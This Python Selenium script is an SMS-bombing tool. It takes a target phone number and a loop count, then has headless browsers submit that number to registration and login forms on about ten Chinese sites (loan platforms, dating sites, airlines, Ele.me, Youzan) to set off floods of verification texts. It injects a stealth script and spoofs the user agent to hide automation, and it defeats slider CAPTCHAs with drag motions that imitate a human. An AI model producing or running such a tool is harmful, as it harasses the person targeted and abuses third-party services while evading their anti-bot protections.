import random
import threading
import time

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By

from slideVerfication import SlideVerificationCode


# 360借条
def send_360(phone_num):
    browser = __hide_identity()

    browser.get("https://www.360jie.com.cn/")
    browser.find_element(By.NAME, "mobile").send_keys(phone_num)
    browser.find_element(By.ID, "btnSendCode1").click()
    time.sleep(5)
    browser.close()


# 拍拍贷
def send_paipai(phone_num):
    browser = __hide_identity()

    key = "8263abd"
    browser.get("https://account.ppdai.com/pc/login")
    time.sleep(2)

    browser.find_element(By.XPATH, "//a[@class='login_toRegister']").click()
    browser.find_element(By.NAME, "Mobile").send_keys(phone_num)
    browser.find_element(By.NAME, "Password").send_keys(key)
    browser.find_element(By.ID, "getvefydata").click()
    time.sleep(5)
    browser.close()


# 饿了么开放平台
def send_ele(phone_num):
    browser = __hide_identity()

    browser.get("https://open.shop.ele.me/openapi/register")
    browser.find_element(By.CLASS_NAME, "el-checkbox__inner").click()
    time.sleep(2)

    browser.find_element(By.XPATH, "//*[@class='el-button btn-next-step el-button--primary']").click()
    time.sleep(2)

    browser.find_element(By.CLASS_NAME, "el-input__inner").send_keys(phone_num)
    browser.find_element(By.CLASS_NAME, "btn-verifyCode").click()
    time.sleep(2)

    iframe = browser.find_element(By.TAG_NAME, "iframe")
    if iframe:
        browser.switch_to.frame(iframe)
        slider = browser.find_element(By.XPATH, "//span[@id='nc_1_n1z']")
        block_width = slider.size['width']
        slider_with = browser.find_element(By.XPATH, "//span[@class ='nc-lang-cnt']").size['width']
        distance = (slider_with - block_width)
        simulateDragX(browser, slider, distance)

    time.sleep(10)
    browser.close()


# 凤凰智信
def send_fenghuang(phone_num):
    browser = __hide_identity()

    browser.get("https://www.fengwd.com/")
    time.sleep(1)
    browser.find_element(By.XPATH, "//*[@class='top-bar-item login-tag']/a").click()
    time.sleep(2)
    browser.find_element(By.ID, "mobile_number").send_keys(phone_num)
    browser.find_element(By.XPATH, "//*[@class='get-sms-captcha blue']").click()
    time.sleep(4)
    browser.close()


# 百合相亲网
def send_baihe(phone_num):
    browser = __hide_identity()

    browser.get("https://my.baihe.com/register/?spm=2.13.24.69.99")
    time.sleep(1)
    browser.find_element(By.ID, "account").send_keys(phone_num)
    browser.find_element(By.ID, "mobileValiCode_btn").click()
    time.sleep(4)
    browser.close()


# 四川航空
def send_sichuanair(phone_num):
    browser = __hide_identity('false')

    browser.get("http://flights.sichuanair.com/3uair/ibe/profile/createProfile.do")
    time.sleep(2)

    browser.find_element(By.CLASS_NAME, "dialog-close").click()
    time.sleep(1)
    browser.find_element(By.NAME, "mobilePhone").send_keys(phone_num)
    time.sleep(1)
    browser.find_element(By.ID, "sendSmsCode").click()
    time.sleep(6)
    browser.close()


# 昆明航空 180s
def send_airkunming(phone_num):
    browser = __hide_identity('false')

    browser.get("https://www.airkunming.com/#/user/register")
    browser.find_element(By.ID, "mobile").send_keys(phone_num)
    time.sleep(1)
    browser.find_element(By.XPATH, "//*[@class='sms-code']").click()
    time.sleep(4)
    browser.close()


# 有赞开放平台
def send_youzan(phone_num):
    browser = __hide_identity('false')

    browser.get("https://account.youzan.com/login")
    browser.find_element(By.XPATH, "//*[@class = 'login-qrcode__title__right']").click()
    time.sleep(1)

    browser.find_element(By.XPATH, "//*[@class = 'zent-input']").send_keys(phone_num)
    time.sleep(2)
    browser.find_element(By.CLASS_NAME, "js-get-identify-code").click()

    time.sleep(2)
    # 滑动验证码
    # 获取滑块节点
    slider_block = browser.find_elements(By.ID, "slideBlockRef")[1]
    # 获取滑块图片节点
    slider_img = browser.find_elements(By.ID, "smallImg")[1]
    # 获取缺口滑块背景图节点
    bg_img = browser.find_elements(By.ID, "bigImg")[1]

    # 创建一个滑动验证的对象
    slide_v = SlideVerificationCode()
    # 计算距离
    distance = slide_v.get_element_slide_distance(slider_img, bg_img)
    print("滑动距离为 %s" % distance)

    # 滑动
    slide_v.slide_verification(browser, slider_block, distance)

    time.sleep(5)
    browser.close()


# 安徽相亲网
def send_anhuixiangiqn(phone_num):
    browser = __hide_identity()

    browser.get("http://www.ahxiangqin.cn/index.php?c=passport&a=reg")
    browser.find_element(By.NAME, "mobile").send_keys([phone_num])
    time.sleep(1)
    # browser.find_element(By.CLASS_NAME, "action-send-mobile-code get").click()
    browser.find_element(By.XPATH, "//*[@class = 'action-send-mobile-code get']").click()
    time.sleep(4)
    browser.close()


# 我主良缘
def send_wozhuliangyuan(phone_num):
    browser = __hide_identity()

    browser.get("http://m.7799520.com/register.html")
    browser.find_element(By.NAME, "mobile").send_keys([phone_num])
    time.sleep(1)
    bu = browser.find_element(By.TAG_NAME, "button")
    for i in bu:
        i.click()
    time.sleep(2)
    browser.close()


# 获取轨迹
def get_track(distance):
    track = []
    current = 0
    mid = distance * 3 / 4
    t = 0.2
    v = 0
    while current < distance:
        if current < mid:
            a = 10
        else:
            a = -3
        v0 = v
        v = v0 + a * t
        move = v0 * t + 1 / 2 * a * t * t
        current += move
        track.append(round(move))
    return track


def __hide_identity(isHeadless='true'):
    service = Service("/Users/scylla/IdeaProjects/nutschan-gitee/python-bay/message-boom/venv/bin/chromedriver")
    option = webdriver.ChromeOptions()
    if isHeadless == 'true':
        option.add_argument("--headless")
    option.add_argument(
        'user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36')
    browser = webdriver.Chrome(options=option, service=service)
    # 最完美方案 防止 Selenium 被检测出来
    with open('./scripts/stealth.min.js') as f:
        js = f.read()
    browser.execute_cdp_cmd("Page.addScriptToEvaluateOnNewDocument", {
        "source": js
    })
    return browser


def __getRadomPauseScondes():
    """
    :return:随机的拖动暂停时间
    """
    return random.uniform(0.6, 0.9)


def simulateDragX(browser, source, targetOffsetX):
    """
    模仿人的拖拽动作：快速沿着X轴拖动（存在误差），再暂停，然后修正误差
    防止被检测为机器人，出现“图片被怪物吃掉了”等验证失败的情况
    :param browser:浏览器对象
    :param source:要拖拽的html元素
    :param targetOffsetX: 拖拽目标x轴距离
    :return: None
    """
    action_chains = webdriver.ActionChains(browser)
    # 点击，准备拖拽
    action_chains.click_and_hold(source)
    # 拖动次数，二到三次
    # 总误差值
    sumOffsetx = random.randint(-50, 0)
    action_chains.move_by_offset(targetOffsetX + sumOffsetx, 0)
    # 暂停一会
    action_chains.pause(__getRadomPauseScondes())
    # 修正误差，防止被检测为机器人，出现图片被怪物吃掉了等验证失败的情况
    action_chains.move_by_offset(-sumOffsetx, 0)
    action_chains.release().perform()
    time.sleep(5)


if __name__ == "__main__":
    phone_num = input("输入轰炸的手机号:")
    run_roll = input("轰炸循环次数:")
    run_roll = int(run_roll)
for _ in range(run_roll):
    # 已调试完成
    # threading.Thread(target=send_360(phone_num)).start()
    # threading.Thread(target=send_fenghuang(phone_num)).start()
    # threading.Thread(target=send_ele(phone_num)).start()
    # threading.Thread(target=send_baihe(phone_num)).start()
    # threading.Thread(target=send_paipai(phone_num)).start()
    # threading.Thread(target=send_sichuanair(phone_num)).start()
    # threading.Thread(target=send_airkunming(phone_num)).start()

    # 正在调试中
    threading.Thread(target=send_youzan(phone_num)).start()
    # threading.Thread(target=send_anhuixiangiqn(phone_num)).start()
    # threading.Thread(target=send_wozhuliangyuan(phone_num)).start()
    time.sleep(4)
